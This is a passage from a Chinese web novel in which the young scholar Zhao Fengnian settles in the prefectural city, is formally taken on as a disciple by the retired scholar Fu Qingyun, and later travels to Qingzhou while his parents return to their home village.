老者正是傅青云,近日他了解了很多赵丰年的事迹,今日便耐不住想来临县底下看看,却刚好看见乡民一起为眼前之人送行的场面,此时此刻,他本以为赵丰年虽身负盛名,却到底出生乡野,应当是朴素的农家子弟模样,毕竟赵丰年连堆肥都能想出来,那肯定是接触过那些东西才能做到的,未见到赵丰年之前,他脑海里已经勾勒出一个脸庞黝黑却质朴,双手许还有些劳作后留下的老茧,坚韧不屈的少年形象。 却没想到,赵丰年竟是这样一个面如冠玉、气质出众的少年,便是说他是京城里哪家的贵公子也使得,还得是精心培养的嫡长子才行。 “学生正是赵丰年,老先生有礼了,恕学生斗胆,敢问先生如何称呼?” 从容不迫,彬彬有礼。 傅青云心中暗自点头,“老夫姓傅。” “原来是傅大人。” “你认识老夫?” “傅大儒傅大人何人不知何人不晓,只是未曾想会在这里碰到傅大人。” 傅青云笑了,“既然如此,你应当知道我已致仕,你也别管老夫叫什么傅大人了。” 赵丰年从善如流,“是,傅先生。” 等赵来贺跟傅府的家丁把车轴弄出来,傅青云已经跟赵丰年相谈甚欢了,赵家人没觉得有什么,毕竟赵丰年是跟谁都能聊得来的。 得知傅青云也要去府城,赵来贺巧娘索性建议一起走,好路上有个照应,傅青云没有拒绝。 赵来贺巧娘只当傅青云是一个读了不少书说话还挺风趣的老人家,等到了府城,这才惊讶地发现他们家离得都很近。 而傅青云,经过一路上的交流,已经看赵丰年是哪里都满意了。 “可惜,当真是可惜!” “祖父,什么可惜?”一粉衣少女娉婷而至,不过豆蔻年华,“祖父今日之行可还顺利?” 傅青云见到来人,便笑了,“雪儿啊,祖父今日见到了一个十分中意的后生。” 第47章 第47章收徒(捉虫) “既然如此,祖父为何说可惜呢?” 傅青云抚了一把胡须,“概因我不收弟子吧,对了,怎么不见你祖母?” “祖母说好些时候未回来,要亲自去转转,顺道采买蔬果。” 傅青云笑了,“早些时候我读书那会儿,你祖母便是这样去市集上买回果蔬,回家后亲自下厨等我归来,从不假手于仆从。” 隔着一两条巷子的另一边,赵丰年一家也到了府城置办的宅子。 “这里头倒是不显热闹,是个清静的地儿。” “巷口就是街道,也算是闹中取静了,往后您跟娘想置办点什么东西也都方便。” 赵来贺就笑,“小尺这宅子挑得好,这小子也算是长大了,如今办起事来有模有样的。” 正说着柳小尺,只见宅子门打开,柳小尺就笑着迎了上来。 “姑姑姑父,宝儿,有德!我想着你们也该到了,一听到动静赶忙出来瞧瞧,果然是你们!” “好小子!”赵来贺走过去,拍了拍柳小尺肩膀。 “怎么没见大尺?”几人打过招呼,巧娘便问了。 “里头呢,那天收到宝儿来信说你们这几天准备过来了,就想着这屋子还没打扫,等你们赶路过来肯定累了,这不是运输队的几个兄弟们正巧今天闲着,就说先过来给你们整理整理。” “你这孩子,都说我们自个来就行,那就那么娇贵了,全程坐车上有什么累的。”巧娘连忙就要进去帮忙。 柳小尺便跟赵丰年赵大胖一起搬东西。 “小尺哥,你还是叫我大胖吧,你一叫我‘有德’我总觉得怪别扭的。” 柳小尺哭笑不得,“这么个好名字你还不乐意了,行吧,听你的,大胖!” 大胖这才满意,又转头,“宝儿,你进去休息,这里用不着你!” 赵丰年无奈,“胖哥,大伯娘也就那么一说,你还当真替我把所有事都干了不成?” 出发前,王三娘对着儿子耳提面命,“有点眼力见,不要让宝儿累着!” “这不是,我一个人顶两个嘛。” 柳小尺哈哈哈大笑,赵丰年无奈,拿上自己的包袱进了屋子。 进屋先是看到了影壁,两侧各种了一颗桂花树,角上落着几丛青竹。 “就因为这两颗桂花树,生生比另一家贵了二钱。”柳小尺搬着东西进来提了一句。 “这是为啥?”大胖问。 “蟾宫折桂,寓意好。” 大胖了然,“这府城的人就是讲究!” 这时候,巧娘同一个身形清瘦的妇人一起走了过来,身边跟着还拿着扫帚的柳大尺跟孙阿牛。 那这妇人应该就是孙阿牛的母亲孙柳氏了。 过完年赵丰年就跟孙阿牛谈了让他管府城据点的事,孙阿牛十分感激,二话不说就带母亲来府城了。 “这一定就是赵秀才了吧,一看就是读书人!”孙柳氏笑道。 “柳伯母,劳烦您辛苦一趟了,您叫我丰年就好。” 孙柳氏连连笑着点头,又让儿子孙阿牛不要闲着,赶紧地把前院再扫一遍。 “孩子们都累一天了,叫他们休息休息,阿牛,还有大尺,你们都歇一歇,一会儿我们自己来就成!”巧娘拦下人,又跟柳氏笑道,“我们从村子里带了新鲜 的瓜果菜,米面油都有,早听人说了,这府城的东西价贵着呢!” “可不是,我来了府城才知道,这府城的人呐,连水都要花银子买的,更别提那什么青菜果子了。” “你们那边没井?还要买水呢?”巧娘知道儿子在府城还盘下了一座宅子当仓库油铺,却还没去过,也不清楚情况。 柳孙氏忙解释,“宅子那边是有的,不过我见到其他人去巷头打水,才知道不是所有宅子都有水井,妹子你既然来了府城,有空也去宅子那边瞧瞧。” “等我这边休整好了,就去找你聊天。” “那感情好,我还撒了些菜种子,巧娘妹子你到时候看看,要是想种,只管来挖。” 柳孙氏跟巧娘虽是同村,但孙家不怎么跟村里来往,巧娘也只是听说她嫁了一个外地来村里的,如今来了府城,倒是可以做个伴了。 柳小尺带着赵丰年在屋子里转了转。 “三进的屋子,原先屋主是个举人,后来那举人谋了个缺去外地做主簿去了,原先他们一家三代人住,还养了两个下人,我想着你们虽如今人少,后头少不得也要请几个下人,索性就买下来了 这里离府学只有二里路,再旁边的大宅子,住的多是府学的夫子,还有府城的官邸,离你这屋只隔了两条巷子,灶屋跟水井就在这后院,你看,这里还有个马厩,刚好可以拴驴子,就是出门的时候得从后门绕到前头去。” 柳小尺刚说完,赵丰年就看到柳大尺牵着驴车从后门走了进来。 赵丰年笑了,“辛苦小尺哥了,这屋子很不错。” “就是这花花草草的不实用,不如拔了种点菜!”赵来贺跟着到了后院,看见那方小花园,摇了摇头。 “做学问的人嘛,养养花陶冶情操,是风雅。”柳小尺解释。 巧娘忙点头,“宝儿也要做学问呢,那不能拔了!” “娘,我觉得爹说的没错,花花草草不实用,种点菜也好。” 赵来贺哈哈大笑,“看到没有,宝儿也觉得!” “好好的屋子,干干净净的,整块菜地,回头下了雨泥巴都要冲到屋里了。” 赵丰年想了想,“这样,回头爹你去拉一车砖来,咱们把地菜地规划一下,小道用砖砌上,隔成一块块的菜地,这样无论是浇水还是整地都不回弄脏鞋,泥水也冲不进屋里。” 巧娘笑了,“这个好,那过几日我就去问柳姐讨菜苗去,他爹你趁着这几日把花拔了,地给整出来。” “我看行!” 一家人就这样住进了府城。 住进府城的第二日,赵丰年就准备去府学报道了,大胖给驴子套上车,叫赵丰年前门等着,他从后院绕过来。 赵丰年无奈。 “胖哥,我们直接从后院走也行的。” “那不成,小尺哥说了,这府城里人可讲究着呢,你是要科举当大老爷的,不能叫人说咱们没规矩!” 赵丰年到底没拗过大胖,从前院上了车。 “出发咯~” 到了府学,赵丰年拿出了自己的身份文书,待查验过,接待的那人便笑了。 “蔡学政跟诸位夫子们早就等着赵秀才了,这边请——” “兄台客气。” 蔡学政便是之前跟刘知府给自己写过信的人,瞧上去是个挺随和的中年人。 “百闻不如一见,没想到赵秀才竟然如此年轻,果然英雄出少年!” “不敢当,学海无涯,学生还当继续努力跟诸位夫子同窗学习。” 赵丰年是廪生,并不用交束袖,直接领了院服,知道了自己的班舍,得知他住府城,接待指引他的学子便省去了带他去院舍的功夫,只叫他明日开始过来就成。 谢过那学子,赵丰年离开府学,却并没有直接回去,而是转头去了油铺。 柳小尺明日就要带着人回临县,这会儿正清点库存,见赵丰年过来,还有些惊奇。 “我还以为你今日要去府学报道呢。” “去过了,刚回来呢,对了,小尺哥,你们明天啥时候回临县?”大胖问了一句。 “明天一早,用过朝食就走,怎么了?要给家里带东西?” “还是小尺哥懂我,上回我给我娘带的一家面脂她特喜欢,我下午没事,想着给她再带一盒回去。” “成,姑姑喊我们晚上上你们那头吃饭,到时候你交给我。” 大胖跟柳小尺说完,赵丰年也翻完了账本。 “近日听一些外头的行商说,青州还有齐州也出现了丰收油,不过比咱们卖的贵。” 赵丰年早在献油那时就已经预料到了,不过出现的时间比他想象的要晚很多,既然油已经经过实验出现在了市场上,那他的赏银应该已经也已经在路上了罢? “另外就是,有几个行商想要加大订单量,据说咱们的麻布在南边卖得很好,我们人手上面可能还需要再增添一些。” “县衙门不算,如今是已经有十二个人?”原本的打算是运输队后期要跟县衙加大合作,只是新任的那位何大人作风暂时不好说,赵丰年只得暂停了这个想法。 柳小尺点点头,“大力叔跟张叔这一回都没来,上次碰头,说是许是后面都来不了了,我这回回去再打听打听情况。” 赵丰年点点头,“实在不行,我们直接跟府城的官府合作,料想他手伸不到这里。” 柳小尺笑了,“也是,咱们还有小顾大人呢。” 赵丰年在这边没待多久,就被大胖拉着上街了。 等带着大包小包回到家,正好碰到巧娘在门口同一妇人讲话。 那妇人看着年纪五十有余,面庞保养得宜,身边还带着一个婢女,手上提着菜篮子在一旁低眉顺眼,那菜篮子跟两人显得格格不入。 巧娘臂弯也挎着竹篮,“我们家也是才搬过来的,原先都住乡下,谁知道这府城肉这么贵,我们乡下一斤肥肉也才二十文,这里竟然要三十文,三十文都够买一斤猪板油了!” “是嘛,我原先离开的时候,肉价也才十五文钱呢。” “那老嫂子你是离开有些年份了,今天真是太感谢你们了,我家就在这里,你要是平日里得了闲,只管来这里找我。” “娘,这是?”赵丰年走过去。 巧娘一回头,看见儿子就笑,“宝儿回来了,这是傅老夫人,就是昨日那位傅老爷的家眷,方才娘去市集买肉,付钱的时候钱袋子掉了,好在傅老夫人跟这位姑娘瞧见了喊住了我。” “原来如此,多谢老夫人,多谢这位姑娘了。” 傅老夫人看着赵丰年点点头,转头便跟巧娘笑道,“令公子气度不凡,难怪我家老爷昨日归来百般夸赞。” 巧娘自是高兴不已,“孩子不禁夸,您可留着点。” 告别傅老夫人后,赵丰年接过巧娘的篮子,母子两人往里走。 “对了,大胖呢?你们不是一道出去的么?” “他给大伯娘买了一些东西,刚才直接把车赶回后院卸货了。” “大胖这孩子,是孝顺!不像你二叔家的柱子,在家里啥活不干,尽指着父母跟两姐姐。” 晚上,顾子升来了赵家。 “你信里说要来了,我一直让人留意着呢,你昨日就来了也不知道喊我。” “昨晚我不是让人给你送信了吗?” 顾子升没好气,“快别提了,衙门里事情太多,新的通判还在路上,现在活都是我一个人干,晚上回到宅子里就睡了,今天一早才看到信。” 赵丰年之前听说过刘知府不管事,只 是没想到真的就一点事都不管。 “也好,你正好好好锻炼一番。” 顾子升恨恨地啃了一大口肉,看得巧娘心疼不已。 “都饿瘦了,多吃些,不够还有,往后得了空直接就上家来吃饭!” 如此,赵丰年开始了府城读书的日子。 乡试不比院试,是真正的过五关斩六将,难易程度更是远非院试能比的,赵丰年也不敢松懈,每每都要读书到深夜,可把巧娘赵来贺心疼坏了。 在府城住了半个月左右,巧娘跟柳氏跟傅家老夫人都熟悉起来。 这日,傅老夫人去赵家看巧娘种的菜,临走的时候拿了一堆赵家给的山货刚回到家中,就听丈夫又问起了赵家小子,傅老夫人白了他一眼。 “你说你,既是对赵家小子那般喜欢,索性收了人家当弟子又怎么了?成天地催我去赵家打听人,人赵家都是实在人,回回拿人家这些东西我都要不好意思了。” “我毕竟说过,不收弟子的,对了,我上回推荐的几本书你告诉他了吗?” “说了说了,还说不收弟子呢,赵小子遇到点问题你就忙着指点人家,除了个名分,跟老师有何不同?再说,也没人把刀架在你脖子上逼着你不收徒弟。” 傅青云这里为难着,不想第二日就收到了拜帖,来自赵丰年。 傅老夫人拉着孙女的手笑话他了一番,就让人准备好待客了。 赵丰年是来感谢傅青云的,他能感受到傅青云从一开始就对自己的观察,或者说是考察,但是傅青云也从未掩饰对自己的欣赏,这些日子更是通过傅老夫人指点自己的课业,虽然赵丰年不知道傅青云碍于什么缘故一直隐藏在傅老夫人身后,但是于情于理,他都应该上门亲自道谢。 这就是为何此时赵丰年坐在了傅家的待客厅了。 赵丰年本来是来表达谢意的,却不想提了几句学业后被傅青云带到了傅家书房,这一待就是半日,等傅青云同他解答了最后一个问题,天色已然擦黑。 “竟已经这么晚了,我便不留你了。” 赵丰年微讶,他还以为会被留饭呢,不得不说,他确实有些摸不透傅青云。 “今日多谢傅先生了,今日听了傅先生讲经,远胜丰年读书一年,傅先生大恩,丰年铭记于心!” 傅青云点点头,话锋一转,“往后有文章,也可送至我府上来。” 赵丰年欣喜再拜,“谢傅先生,那小子就先行告辞了。” 得知自家老爷都没留人吃饭就把人赶回去了,傅老夫人又抱怨,“都这个时辰了,好歹也要留人用了饭再走,亏你读了那么多书,这点礼数都没有。” 傅青云叹了口气,只回到书房,对着一份回信百般挣扎,最后,还是搁置一旁,又取了一张干净的纸张。 “立民吾友” 后面赵丰年果然写了文章后送去傅府,有时候会跟傅青云讨论经义,有时候傅青云也会给他布置文章,一个月下来,赵丰年只觉得自己脑中的思路更加清晰,而傅青云在看到赵丰年的进步速度后,也十分欣慰。 而此时,顾子升终于收到了京城的来信,看完信后,顾子升十分开心,第二天就去了赵家。 他知道赵丰年休息时间,今日正是旬休的日子。 “我上回跟我老师说了那江伯远没眼光的事,我老师跟我想的一样!我还提了让他认你当弟子,老师他也答应了,怎么样,你考虑一下,要是觉得没问题,我就给他回信去,往后咱们就是同门的师兄弟了!” 赵丰年没想到他真的问了,当即便是一阵感动,只不过,他还需要确定一件事,便让顾子升再等等。 “我知道你是好意,也十分感谢你还有你的老师,只不过,这些日子我有件事始终有个疑问,因此我须先弄清楚了后,才能回你。” 顾子升疑惑,“跟拜师有关?” 要不怎么说单纯的人直觉也准呢。 赵丰年看了他一眼,没否认。 “你不会还想着江伯远吧?不对,你肯定不回去青州,算了算了,反正你到时候总会告诉我的,我就等着好了。” 赵丰年想弄清楚的事,是傅青云是不是想要收自己当弟子。 是的,当赵丰年自己从认识傅青云到他后面一系列的事情串联起来后,得出了这么一个结论,至于为何傅青云没有直接说,可能是等着自己开口? 拜师果然还是要诚恳一些,傅先生毕竟是一代大儒,冷不丁见了他觉得有缘收为弟子,总不能叫他老人家先开口,显得多没面子。 这也是赵丰年没有立刻答应顾子升的缘故,倒不是他看不上顾子升老师,已知顾子升老师一位大佬,还在京城为官,那身份地位必然不低,至少不会低于江伯远,毕竟这一点从顾子升对江伯远的态度就能看出来,而江伯远乃跟傅先生又是同窗好友,那么,顾子升师父定然也是一代大儒。 只是,他虽先知道了顾子升老师,也先听说了江伯远,可是第一个出现在他面前,指点他文章课业的,是傅先生。 这世间万物都讲究一个缘法,也许他跟傅青云就有这样一段缘法呢? 人坐在傅家的赵丰年心里这样想。 “你这篇文章比之上回大有进步,只是你用辞过于锐利,少年人有这样的心性也正常,单论文章是篇难得的佳作,只是放到科举乡试,此篇便不合时宜了,乡试还是稳中求胜为上佳。” “多谢老师教导,学生谨记。” 傅青云点点头,“此处这个‘当’若换成——你叫我什么?” 傅青云忽然回过神来,却只见赵丰年眉眼带笑。 “自然是老师,傅先生教导我读书,指导我文章,为我讲解经义,更是指点我科举乡试,丰年早已将傅先生当作老师,也以为先生已经收我为弟子了,难不成是丰年想岔了?” 傅青云怔愣了片刻,忽然就笑了。 “罢了罢了,左右一个师徒名分,不过,这老师可不是那么轻易叫的,你可知拜师之礼?” 赵丰年眼中光芒一闪而过,笑着站起先行了一礼,“自然,先生能收丰年为弟子,实乃弟子三生有幸,定会寻一个良辰吉日拜师,请老师饮弟子茶。” 傅青云哈哈大笑,“你啊你,真不愧是怀江府人人称赞的神童,老夫也被你绕了进去!” “全赖老师教导。” 傅家后院,傅老夫人惊奇地朝书房方向望过去。 “今日倒是奇了,平日里两个人总是安安静静地讨论文章,今日这么开心。” 一旁的少女便笑,“难得祖父这么开心,定是赵秀才作的文章好了。” 傅老夫人也笑,“赵秀才的功课定是一等一的好的,人品也贵重,不怪你祖父成天地想要收他当弟子。” “祖父想收便收就是了,莫不是还在在意以前那句戏言?” “你瞧,连你都知道是一句戏言了,不过这回可不是因为这个,那孩子原是你刘叔祖看中的人,你祖父答应人家替他考察考察,定不会夺人所好。” “原来如此。” 只是第二天傅老夫人就被发现自己打脸了,因为傅青云要“夺人所好”了。 “他江伯远只是说了一句有缘,并不曾提过要认丰年为弟子,读书人的事,怎么能说是‘夺人所好’呢,不算不算。” 傅老夫人还是头一回见他这样厚脸皮耍赖,连忙就去跟孙女说这事。 “可是,这样不是很好嘛,如此一来,祖父也了却了一番心愿,您也不用天天听祖父念叨如何遗憾了。” 傅老夫人一想,可不就是这么一回事么,确实是大喜事,当即就去找人收拾东西,为傅青云收徒做准备了。 傅大儒准备收神童赵丰年为徒了! 这个消息一经传出,顿时席卷了整个怀 江府,怀江府有头有脸的人都收到了傅府的帖子,邀请前去观礼。 “傅青云看来很是重视这个弟子。” 这是所有人的想法。 而得到消息顾子升,当即就冲去了赵家。 第48章 第48章回村(捉虫) “我单知道傅青云傅大儒致仕回乡了,我以为人在茂县呢,竟然在咱们府城吗?!” 顾子升见到赵丰年的第一句就是问傅青云。 茂县才是傅青云老家。 “太失礼了,我应当去傅府拜访的。” “你经常在我家见到的那位老夫人,就是傅老夫人,你此前在京城没见过?”赵丰年又丢了个炸裂的消息给他。 顾子升僵了,“你是说,跟我一起择菜的大娘?” 赵丰年微笑,“正是,不过,傅老夫人平易近人,往后你还是可以继续喊大娘的。” “我都干了啥啊——” 顾子升崩溃。 笑完顾子升,赵丰年便问,“你好像格外在意傅先生?” 顾子升叹了口气,才娓娓道来,“你可能不知道,我其实,并非正统科举出身” “那我可能知道。” “啊?你知道?”顾子升呆了。 赵丰年笑了笑,“王公贵族家的公子哥天资出众,十八岁就中举为官不稀奇,但也不至于什么都不懂愣头青一样跑到这么偏僻的地方来,就算来,也应该是做好了万全的准备,所以,如果我没猜错,你应该是因为其他原因做了官,祖荫?还是立功?立功也不会给个县令芝麻官,所以,是祖荫?” 顾子升叹气,“真是什么都瞒不住你,你猜的不错,我是蒙祖荫授的官,本来是给我一个名头好听的闲职,但是我去求了人,给我换成了来外头做县官,我资质平平,再加上相貌黝黑以及一些其他的缘故,那些叫得上名的大儒都不肯收我当弟子,只有我老师,老师他生性洒脱不拘小节,愿意收我当弟子,后面就有人说他势利,羞与之来往,就连他的几位同窗友人都同他疏远了,当时,只有还是太子太傅的傅大儒替他说话,所以,我是很感激傅大儒的。” 这还是第一次顾子升跟赵丰年谈他过去的事,赵丰年当即理解了为何他在意此事。 “你也是不知情,并非知道他在此地而不登门拜访,傅先生不会在意这些,如今知道了,再拜访也不迟。” 顾子升点头,“也只能如此了,老师也真是的,明明知道傅先生来了怀江府,信里竟提都没提一句,今天晚上回去我就给他写信问他!” 很快就来到了赵丰年行拜师礼这天,为了这场拜师礼,傅青云几乎把整个怀江府的读书人都请了过来。 刘知府跟顾子升前后脚到,顾子升跟上官见过礼,又拜过傅青云及傅老夫人,便去找赵丰年了。 “傅老先生这可真是大手笔,从今天起,你要出名了。” “我还以为我已经很有名了。”赵丰年开了个玩笑。 “那倒也是。”顾子升一脸认同。 到了行礼的时候,众人终于见到了怀江府传奇人物赵丰年。 “想不到赵丰年其人竟如此年轻,我以为能做出那些事情定有二十来岁了。” “原以为‘神童’只是他打小的美称,不想还当真是童子。” “实在‘非人哉’!” 行三叩首及投师帖后,傅青云说了一番祝语,随后将一套文房四宝跟一本《论语》送给了赵丰年。 至此,往后傅青云就是赵丰年的老师了。 礼成后,傅府后院,几位夫人纷纷冲傅老夫人打听傅大儒新出炉的弟子。 “那模样可真俊,不像是农家子,倒像极了世家公子。” “也不知道赵夫人平日里怎么教养的孩子” 傅老夫人笑,“你们啊,秀才郎的母亲就在这里,还问我做什么?” 今日是儿子的大日子,巧娘跟赵来贺自然也来了,观礼后,男的都在前院饮酒,女眷则在后院独开了几桌。 巧娘被拉着坐在了傅老夫人身边,面对各家的官太太,还有些紧张约束,傅老太太拉着她的手拍了拍。 “巧娘啊,大家都是一样的,不用太拘束!” 巧娘得了少许安慰,便听一个夫人问,“赵夫人,不知令郎可有婚配?” 这话一出,桌上其他的几位夫人太太顿时就起了精神。 “赵郎君仪表堂堂,才高八斗,相比想同赵家结亲之人都踏破了门槛罢?” “孩子还小,心里也只有读书,我跟他爹,还没考虑到这事呢。” “十三岁了吧,虚岁就有十四五了,也不小了,该是时候考虑了!” “可不是,这时候看着定下来,晚两年等再成亲,刚刚好。” “他身边那黑脸的少年就是府衙门的顾同知?真是年少有为。” 夫人们的这一桌讨论的热火朝天,姑娘小姐这边听到动静,不少红了脸,只是夫人们能去观礼,她们这些姑娘家确是不能的。 “听闻他才貌双全,也不知如何的才貌双全?” 前院,顾子升多喝了几杯便有些晕了,再有劝酒的,赵丰年只笑着挡了下来,他一向注意保养自身,平日里滴酒不沾,但是这种场合少不得要喝几杯。 顾子升喝多了后,赵来贺就接下了挡酒的任务,好在众人顾念他年纪尚小,也给傅青云面子,并没有继续坚持。 “阿年,我有点想——” “憋着。” “啊?”顾子升懵了,“可我还什么都没说呢”。 赵丰年吸了口气,“这种场合实在是太容易出事了,你当真尿急?可还能再忍忍?” “会出什么事啊?”赵大胖从后面伸出脑袋来。 他今天倒是最轻松的一个,安排的不是主桌,又挨着主桌,却不会有人找他喝酒,只用自己一个人吃好喝好就成。 “话本子里的故事。” 大胖似懂非懂,“阿年你竟然看话本子?” 这是重点? 赵丰年:“你怎么也叫我阿年了?” 大胖笑嘻嘻,指着顾子升,“我跟顾大人学的。” 赵丰年又看向了顾子升,顾子升无辜,“我看傅老先生这么叫,还挺亲切的。” 当然,两人肯定不能当真让顾子升被尿憋死,赵丰年走不开,只能让大胖带着顾子升去找傅府的家丁,并再三嘱咐一定要看好人,千万别误进了后院。 直到两人安全回来,赵丰年提着的心才落到了实处。 而第二天,赵丰年就发现自己放心早了。 起因是顾子升大早上来到赵家,然后当着赵丰年的面掏出了一块丝帕。 “什么意思?” 顾子升也很迷茫,“不知道,昨天喝多了,晚上倒头就睡,早上一醒过来,发现怀里多了一张帕子。” 赵丰年不禁头大。 “你中途有遇到什么人吗?” 顾子升努力回忆了一番,“好像有,但那是男客,并非女子。” “你确定?也没捡什么乱七八糟的东西?” “我又不是醉得爬不起来了,就是一个男客,出来的时候不小心撞了一下,你说,有没有可能,就是那会儿到了我这里的?” “大概是了。” “可这是为什么呢?难不成——” 赵丰年看过去。 “那人有龙阳之癖?” 赵丰年:“” “分析得很好,下次别分析了。” “此事不能声张,我让我娘出面跟傅老夫人说,你可还记得那人长什么样?穿着?” 顾子升回忆了一番,赵丰年拿出笔墨记下,又让顾子升将东西留下,这才各自忙去。 傅老夫人得知了此事十分生气,这事发生在他们傅府,叫外人知道,还以为他们傅府治家不严叫人钻了空子,得知了那人的特征,也很好查,正是那天在桌上问顾子升身份的夫人。 那位夫人夫君是府衙的推官,二人膝下有四女一子,三个女儿都被他们嫁给了上官,只剩下一个小女儿,便把注意打到了新上任 的顾大人了。 傅老夫人一看便只此二人打着卖女求荣的主意,得知他们小女儿近来常来府上找孙女玩耍,当即就去了孙女院中,劝孙女跟她断了来往。 “竟有此事?”傅轻雪惊讶不已。 傅老夫人也感叹,“世间有疼爱孩子如珠如宝的,便也有那视其货物买卖的,那姑娘父母有这个打算,定然不会瞒她,她心里想必也是知道的,心术不正之人,还是远着点为好。这回幸而是阿年跟顾大人发现了此事,没有声张,让赵夫人私下告诉了我,不然传出去,我们家成什么样了?” “确实多亏了赵秀才跟顾大人。” 傅大儒收弟子之事在怀江府广为流传,而京城里,前后收到傅青云跟顾子升信函的周立民再次发出了咆哮。 “傅青云,你个不知羞的,竟然夺我弟子!我就说你怎么说去云游就去了怀江府!” 碰巧再次路过的监丞:那话本,已经换成傅大儒了吗? 至于青州书院,当江伯远得知傅青云在怀江府收了个弟子的消息。 “他傅青云还能收弟子?不可能的。” “听说那人被誉为怀江府神童,才高八斗!” 江伯远忽然有个不太好的预感,“可知道姓甚名谁?” “赵丰年。” “嘭——” “好你个傅青云,我把你当朋友,如此信任你,你竟半道截胡!” 怀江府,傅青云连打了两个喷嚏。 “老师,天气尚凉,早晚还需保暖才是。” “嗯嗯,不妨事。” 而朝堂上,也终于有人注意到了临县。 “朕今日得了一个折子,说岚州底下的怀江府出了个人才,先是发明了堆肥之法,叫整个怀江府粮食产量翻一番,又兼帮乡里,让乡民能吃上便宜的油,穿上便宜的衣服,更使村民齐心协力化解恩怨,和睦邻里,读书人纷纷为其写文夸赞,还由此出现了一篇《赵秀才问何为报效朝廷》的佳作,可如此青年才俊,除了此前千秋宴之献油,却无丝毫消息传入京中,实在令朕伤怀,唯恐有妒贤嫉能之辈,使我大夏失此人才。” 底下官员议论纷纷,不多时,便有官员提议问责怀江府官员。 一番争吵后,才尘埃落定。 “竟是派了徐钰,看来陛下很看重那怀江府人才了。” “看不看重的另说,只是这回整个怀江府怕是要吃苦头了。” 怀江府这边还不知道马上就要迎来钦差大臣考察了,近来临县的丰收油跟麻布生意做得很大,不少外地行商来来往往,让整个府城都热闹了起来。 但这些都跟赵丰年无关了,因为傅青云要带他去一趟青州,拜访好友刘伯远。 赵丰年将这一趟定义为去青州书院交流学习。 也是这个时候赵丰年才知道原来江伯远是有意收他为弟子,是傅青云提出替他考察一番。 “算是我抢了他的弟子,估计这会儿正跳脚呢,不过刘伯远的文章飘逸洒脱,有闲云野鹤之意,做学问就要集百家之长,你的文章锐利进取,学一些他的文风,中和一二未尝不可,再者,青州书院能人辈出,多待一阵子,于你也有大益。” 赵丰年记下了傅青云这份心思,然后收拾收拾东西,就准备跟傅青云离开了。 大胖也一起过去,不过傅家还有家丁护卫,这回倒是不用他赶车了。 赵来贺巧娘对傅府很是放心,这里待着无事,赵来贺跟赵丰年提过可能回村住一些时日,巧娘却有些犹豫,她倒不是想住在府城,主要是舍不得这边院子里种的菜,怕没人看顾浇水干死了。 柳氏住得远,也不好叫人家一天半个时辰来回就为了给菜园子浇水。 傅老夫人听说了这事,当天就来了赵家,让巧娘夫妻尽管回去,这菜园子她来帮忙浇水。 “我在家里闲着也是闲着,你这小菜园子打理得这样干净齐整,我看着心里就舒坦,也就是阿年聪明,又孝顺你这个娘了。” 傅老夫人虽说已经五十多岁的人了,身体却硬朗,隔三差五都要自己亲自去买菜下厨,加上傅府离得近,巧娘没犹豫多久便答应了。 “这地砖跟菜池子都是他跟他爹亲手砌出来的,头先我还担心他受累,没想到他做得倒是起劲,说是这样干农活浇地也不怕弄脏了鞋。” “阿年是有巧思的,寻常都是用来种花的,谁想到用来种菜。” 巧娘笑着谢过了傅老夫人。 第二天,夫妻俩花了大半天买了些东西准备回村送人,到第三天一早,才收拾好东西踏上了回临县的路。 而另一条头的青州。 接到傅青云来信,江伯远都气笑了。 “好啊,他还敢来!” 等赵丰年跟傅青云来到了青州书院,面对的是一个皮笑肉不笑的江大儒。 “丰年见过刘师叔。” “你便是丰年了?果然一表人才,说起来,你不该叫我师叔,你该称呼我一句老师的。” 赵丰年看了眼笑容满面的老师,实在想不到,江大儒竟是这样一个性格。 就在赵丰年在青州书院水深火热地进修之时,赵来贺巧娘也回到了赵家村。 “还是村里好,我一看见这地这土心里都舒坦了,城里热闹是热闹,到底不比在家里。” “我看你又是手痒了想进林子了。” 巧娘刚戳破赵来贺的念头,地里做农活的同村人就看到了两人。 “哎呀,巧娘,来贺!你们咋回来了呢?他赵二伯,你们家来贺跟来贺媳妇从城里回来了——” 这一喊,地里好几个人纷纷停下了手上的活,赵老头正在地里拔草,听见人喊自己,抬头一看,果然见自家老四跟巧娘。 “爹!”赵来贺冲过来的赵老头喊了一句。 “你们怎么这个时候回来了?宝儿呢?” “宝儿跟他师父去青州了,我们在城里也没事做,索性回村住段时间,爹,别忙活了,先回家吧,买的东西多,路上不好吃饭,还饿着呢。” 赵老头一听,忙搓了把手,“行,先回家,你娘她们这会儿估计都在来富家,中午在来富家吃饭。” “他富大伯家给饭?”巧娘正要从驴车上下来。 “你们富大伯家今日议亲呢,说来,巧娘你们还真是回来对了!” 一族嫂抢先笑着解释了。 “没错,给有志议亲。”赵老头点头。 “那可真是大喜事!” 一家人赶着驴车往家里走,后面的村里人还在讨论。 “来贺一家可真是大方,买那么多东西呢。” “谁说不是!” “可惜宝儿没一起跟着回来,青州是哪里?怎么去了那里读书?” 赵来贺巧娘直接跟赵老头回了老宅卸东西,省得还要来回跑。 这时,也有人通知了还在赵来富家的张氏跟王三娘,两人一听赵来贺一家回来了,赶忙跟这边说要先回去。 “来贺一家回来了?那你们快先回去,叫他们别收拾了,一会儿都来我家吃饭!”赵大强说了一句,让她们先回了。 王三娘跟张氏刚到家门口,就见院子里停了一辆装的满满当当的驴车,可不就是赵老四家的。 王三娘当即脸上就笑开了花。 “你们可算是回来了,怎么还买了这么多东西!” 巧娘都懒得戳破她那点小心思,不过她也就爱个贪便宜了。 “都是府城里的新鲜东西,县城里不常见的,就想着给你们都带些回来,他大伯娘,这块料子是给你的。” 王三娘连忙接了过来,“哎呦,这光滑的,我都不敢摸了,颜色也好,跟那熟透的柿子似的!” “这里头还有几块不同色的,是给大哥还有二胖的,娘,这是给您的,府城里的老太太都时兴穿这个款式的褂子,不知道您喜欢那个色的,索性买两套,您都试试看看合不合身。” 张氏又是高兴又是无奈,“还给我买什么,都半截身子入土的人了,穿这么艳的,给人瞧了笑话!” “娘您这色也好看,这紫色看着就显贵,这件是枣色又不是鲜红色,再适合不过了,巧 娘眼光就是好,仔细瞧瞧,这衣服料子在日头底下还反着光呢,可真是好料子,今天他们富大伯家摆饭,您索性一会儿就换了,穿这件枣红色,可应了景了。” 张氏推不过,到底是收下了。 “险些忘了这个,”巧娘又从怀里掏出了一个木盒,上面雕着一个“福”样的花纹,王三娘当即喜欢上了,等巧娘打开,看到里面躺在绸布上的银镯子后,王三娘呼吸都粗了几分。 张氏也惊呆了。 